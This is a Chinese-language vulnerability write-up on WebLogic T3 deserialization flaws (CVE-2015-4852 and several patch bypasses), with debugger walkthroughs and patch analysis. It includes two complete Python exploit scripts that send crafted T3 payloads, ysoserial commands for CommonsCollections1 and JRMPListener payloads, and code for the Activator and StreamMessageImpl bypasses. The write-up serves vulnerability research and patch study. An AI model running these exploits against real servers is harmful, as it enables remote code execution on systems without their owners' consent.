环境搭建 参考:https://www.penson.top/article/av40
何为T3协议 T3 协议其实是 Weblogic 内独有的一个协议,在 Weblogic 中对 RMI 传输就是使用的 T3 协议。在 RMI 传输当中,被传输的是一串序列化的数据,在这串数据被接收后,执行反序列化的操作。
在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容。
weblogic反序列化流程图:
漏洞复现(CVE-2015-4852) 环境:10.3.6
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import socketimport structimport syssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (sys.argv[1 ], int (sys.argv[2 ])) print 'connecting to %s port %s' % server_addresssock.connect(server_address) headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' print 'sending "%s"' % headerssock.sendall(headers) data = sock.recv(1024 ) print >>sys.stderr, 'received "%s"' % datapayloadObj = open (sys.argv[3 ],'rb' ).read() payload='\x00\x00\x09\xe4\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' payload=payload+payloadObj payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78' print 'sending payload...' payload = "{0}{1}" .format (struct.pack('!i' , len (payload)), payload[4 :]) sock.send(payload)
1 python2 Weblogic.py 127.0.0.1 7001 payload.tmp
tmp文件生成:
1 java -jar ysoserial.jar CommonsCollections1 "calc" > "payload.tmp"
漏洞分析 远程调试:修改启动的cmd文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @ECHO OFF set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=n @REM WARNING: This file is created by the Configuration Wizard. @REM Any changes to this script may be lost when adding extensions to this configuration. SETLOCAL set DOMAIN_HOME=D:\weblogic\midddle\user_projects\domains\test_domain call "%DOMAIN_HOME%\bin\startWebLogic.cmd" %* ENDLOCAL
数据包分析 利用wireshark抓取本地回环包
第一部分是请求包头,第二部分是服务端的相应,第三部分是请求主体
在得到了正确的请求头后,Weblogic会返回一个包含版本号的信息
在反序列化数据包中,ac ed 00 05
是反序列化标志,在 T3 协议中由于每个反序列化数据包前面都有 fe 01 00 00
,所以这里的标志相当于就是 fe 01 00 00 ac ed 00 05
整个请求主体包含了6个部分的序列化数据,我们可以对其中任意一个部分进行攻击
代码分析与调试 入口类是在 InboundMsgAbbrev#readObject
处,下个断点开始调试
其中var1的head就是我们传入的序列化数据
先步入ServerChannelInputStream构造函数
var1是一个MsgAbbrevInputStream对象,MsgAbbrevInputStream是在Weblogic中实现的一个Java输入流类,用于接收消息并将其转换为Java对象
super方法跟不进去,跟进getServerChannel方法
this.connection是一个MsgAbbrevInputStream对象,这个对象中储存了一些连接信息,包括IP,端口等
跟进getChannel方法
继续调用BaseAbstractMuxableSocket对象的getChannel方法
返回this.channel
到这里,头部的信息已经处理完毕,重新回到InboundMsgAbbrev#readObject
处
ServerChannelInputStream继承了ObjectInputStream类,调用其readObject方法
接下来处理请求主体,反序列化过程中会调用到resolveClass方法
最后和头部一样,调用原生的readObject方法,再进过几轮invoke,就可以来到AnnotationInvocationHandler的readObject方法
修复
在ServerChannelInputStream类的resolveClass方法处添加了黑名单
修复具体代码如下
修复绕过(CVE-2016-0638) 简述 这个漏洞主要是找到了个黑名单之外的类”weblogic.jms.common.StreamMessageImpl”
简单来说,由于黑名单的限制,CVE-2015-4852利用链没法直接使用,这个漏洞像是整了个套娃,给CVE-2015-4852装进去了。
为什么使用StreamMessageImpl这个类呢?其实原理也很简单。StreamMessageImpl类中的readExternal方法可以接收序列化数据作为参数,而当StreamMessageImpl类的readExternal执行时,会反序列化传入的参数并执行该参数反序列化后对应类的readObject方法。
如果我们把序列化后的CVE-2015-4852利用链序列化之后丢进readExternal呢?
当我们给上图StreamMessageImpl类的readExternal中传入序列化后的CVE-2015-4852利用链,在readExternal被执行时,会将CVE-2015-4852利用链数据反序列化,并在上图864行处调用其readObject方法,也就是AnnotationInvocationHandler的readObject方法
好了,AnnotationInvocationHandler的readObject方法被调用了,CVE-2015-4852复活了。
但是StreamMessageImpl类的readExternal要怎么被执行呢?在Weblogic反序列化流程中,会尝试调用类对象的readObject、readResolve、readExternal等方法。
修复分析与调试 由于需要打补丁,这里使用docker项目搭建环境
https://github.com/QAX-A-Team/WeblogicEnvironment/issues/10
如果遇到libnsl问题,修改dockerfile为如下:
1 2 3 4 5 6 7 8 9 10 11 12 # 参数 ARG JDK_PKG ARG WEBLOGIC_JAR RUN cd /etc/yum.repos.d/ RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-* RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-* RUN curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-vault-8.5.2111.repo RUN yum clean all RUN yum makecache # 解决libnsl包丢失的问题 RUN yum -y install libnsl
后面补丁搭建参考:https://www.cnblogs.com/nice0e3/p/14207435.html
最后重启使用如下命令:docker restart fed2d68045d8
在修复代码处打个断点,开始调试
跟进
这个类还有个静态代码块,由于它是优先执行,所以我们先移步至static
先是进行了两个if判断,我们来看看这两个方法
分别判断了是否有disableblacklist和disabledefaultblacklist类
进行完这两个判断之后,会调用updateBlackList方法
就是将传入的参数添加进HashSet黑名单,黑名单列表如下:
1 2 3 4 5 +org.apache.commons.collections.functors, +com.sun.org.apache.xalan.internal.xsltc.trax, +javassist,+org.codehaus.groovy.runtime.ConvertedClosure, +org.codehaus.groovy.runtime.ConversionHandler, +org.codehaus.groovy.runtime.MethodClosure
回到isBlackListed方法,继续向下走,由于sun.reflect.annotation.AnnotationInvocationHandler类不在黑名单中,来到else语句
lastIndexOf(46)
是获取最后一个点号的索引位置,即获取包名,接下来就是对包名进行一个黑名单过滤
如果存在,那么返回true,resolveClass方法抛出异常,在利用链中,当尝试对org.apache.commons.collections.functors.ChainedTransformer类进行对象变换时,由于这个类在黑名单中,所以会抛出异常
绕过工具分析 我们使用https://github.com/5up3rc/weblogic_cmd工具进行绕过调试
使用jdk6,并手动导入Tools.jar,编写配置
在Main类中打上断点,开始调试
步入
获取-C参数的值,并传入WebLogicOperation.blindExecute方法
先判断服务器类型,然后调用SerialDataGenerator.serialBlindDatas方法,此方法为payload的生成方法,我们跟进
调用blindExecutePayloadTransformerChain方法
cc链的代码,没什么好说的,return,跟进serialData方法
下面就是cc1链的内容,接着会步入到BypassPayloadSelector.selectBypass方法
跟进
进入else语句,调用Serializables.serialize方法
返回一个ObjectOutputStream序列化对象,然后回到前一个点,将其传入streamMessageImpl方法
将序列化对象转储到streamMessage对象中,回到这里
对streamMessage对象又进行了一次序列化操作,最后将其返回,并将其用T3协议发送
漏洞分析 漏洞原理如下:
1 将反序列化的对象封装进了 StreamMessageImpl,然后再对 StreamMessageImpl 进行序列化,生成 payload 字节码。反序列化时 StreamMessageImpl 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 StreamMessageImpl 对象调用 readObject 时对 StreamMessageImpl 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。
在此先再来思考一个问题,weblogic.jms.common.StreamMessageImpl#readExternal()
该方法是怎么被调用的呢?在前面分析原生readObject
方法的时候发现,其实readObject
方法的底层还会去调用很多其他方法。
在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。而在这里readExternal
就会被调用。
我们依旧在resolveClass处下个断点,然后工具发送payload
可以看到接收到的是StreamMessageImpl对象了,不在黑名单中,我们在readExternal方法中下个断点就能窥探这个方法是如何被调用的了
由于这里调用的是原生的readObject,所以也不会被补丁所修改的resloveClass所限制,命令执行成功
另一种绕过(CVE-2016-3510) 和上一个漏洞差不多,就是利用MarshalledObject的readResolve方法
CVE-2017-3248 & CVE-2018-2628 简介 这个漏洞会使用底层JRMP向指定的JRMP服务端发起一个连接,而我们可以伪造一个服务端,向客户端返回一个恶意对象,客户端收到这个恶意对象后反序列化造成命令执行。
具体受影响的Weblogic 版本列表如下:
12.1.2
12.1.2.0
12.1.3
12.1.3.0
12.2.1
12.2.1.0
12.2.1.1
12.2.1.2
10.3.6
10.3.6.0
本机开启JRMP服务端 -》利用T3协议发送payload使得weblogic反序列化后,开启JRMP客户端,并连接服务端 -》服务端发送exp给客户端,客户端上的DGC接收到响应即会反序列化。
漏洞复现 使用ysoserial开启一个JRMP服务端监听:
1 java -cp ysoserial-0 .0 .6 -SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections1 "calc"
利用T3协议发送payload/JRMPClient:
1 python2 test.py 127.0 .0 .1 7001 ysoserial.jar 127.0 .0 .1 1234 JRMPClient
test.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from __future__ import print_functionimport binasciiimport osimport socketimport sysimport timedef generate_payload (path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client ): command = 'java -jar {} {} {}:{} > payload.out' .format (path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port) print ("command: " + command) os.system(command) bin_file = open ('payload.out' ,'rb' ).read() return binascii.hexlify(bin_file) def t3_handshake (sock, server_addr ): sock.connect(server_addr) sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a' .decode('hex' )) time.sleep(1 ) sock.recv(1024 ) print ('handshake successful' ) def build_t3_request_object (sock, port ): data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07' .format ('{:04x}' .format (dport)) data3 = '1a7727000d3234322e323134' data4 = '2e312e32353461863d1d0000000078' for d in [data1,data2,data3,data4]: sock.send(d.decode('hex' )) time.sleep(2 ) print ('send request payload successful,recv length:%d' %(len (sock.recv(2048 )))) def send_payload_objdata (sock, data ): payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' payload+=data payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' payload = '%s%s' %('{:08x}' .format (len (payload)/2 + 4 ),payload) sock.send(payload.decode('hex' )) time.sleep(2 ) sock.send(payload.decode('hex' )) res = '' try : while True : res += sock.recv(4096 ) time.sleep(0.1 ) except Exception: pass return res def exploit (dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client ): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(65 ) server_addr = (dip, dport) t3_handshake(sock, server_addr) build_t3_request_object(sock, dport) payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client) print ("payload: " + payload) rs=send_payload_objdata(sock, payload) print ('response: ' + rs) print ('exploit completed!' ) if __name__=="__main__" : if len (sys.argv) != 7 : print ('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] ' '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n' ) sys.exit() dip = sys.argv[1 ] dport = int (sys.argv[2 ]) path_ysoserial = sys.argv[3 ] jrmp_listener_ip = sys.argv[4 ] jrmp_listener_port = sys.argv[5 ] jrmp_client = sys.argv[6 ] exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
漏洞分析 payload利用RemoteObjectInvocationHandler代理类封装UnicastRef对象(用于连接监听端),在反序列化时,首先会调用RemoteObjectInvocationHandler的readObject方法,但由于RemoteObjectInvocationHandler没有readObject方法,便会尝试调用其父类RemoteObject的readObject方法
这中间主要是实例化了一个UnicastRef对象,并调用其readExternal方法
跟进
调用LiveRef的read方法
对一些基本的JRMP连接信息进行了配置,最后会到这里
尝试与监听端建立TCP连接,跟进
接着调用EndpointEntry的registerRefs方法
向注册中心注册 LiveRef
对象,并在注册完成后执行一些清理操作,说白了LiveRef对象就是监听端的ip和端口信息,注册完成后会调用makeDirtyCall方法
跟进
调用this.dgc.dirty方法,其中this.dgc为DGCImpl_Stub对象
然后调用UnicastRef的invoke方法
调用StreamRemoteCall的executeCall方法
这个方法里面会调用到原生的readObject方法,从而触发我们的调用链
补丁分析及绕过 一般反序列操作防御resolveProxyClass和resolveClass方法重写,进行黑名单匹配,这个补丁就是重写了resolveProxyClass,对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry
,是的话抛出错误。
1 2 3 4 5 6 7 8 9 10 11 12 protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { String[] arr$ = interfaces; int len$ = interfaces.length; for (int i$ = 0 ; i$ < len$; ++i$) { String intf = arr$[i$]; if (intf.equals("java.rmi.registry.Registry" )) { throw new InvalidObjectException ("Unauthorized proxy deserialization" ); } } return super .resolveProxyClass(interfaces);
绕过方法1:直接去去掉Proxy,走resolveClass方法即可
绕过方法2:将接口接口由registry改为Activator(CVE-2018-2628)
1 Object object = Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class [] { Activator.class }, remoteObjectInvocationHandler);
利用方法将发送的序列化请求改为JRMPClient2即可
1 python2 2017-3248.py 127.0.0.1 7001 ysoserial.jar 127.0.0.1 9999 JRMPClient2
绕过方法3:用streamMessageImpl对remoteObjectInvocationHandler做一次封装
1 2 Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class [] { Registry.class }, remoteObjectInvocationHandler);return streamMessageImpl(Serializer.serialize(object));
CVE-2018-2191 主要是利用JtaTransactionManager中的lookup方法参数可控,导致反序列化该类之后发生了JNDI注入
跟进initUserTransactionAndTransactionManager方法
传入lookupUserTransaction方法的参数userTransactionName是可以通过setter方法进行赋值的
继续看看lookupUserTransaction方法
可控的lookup方法触发JNDI注入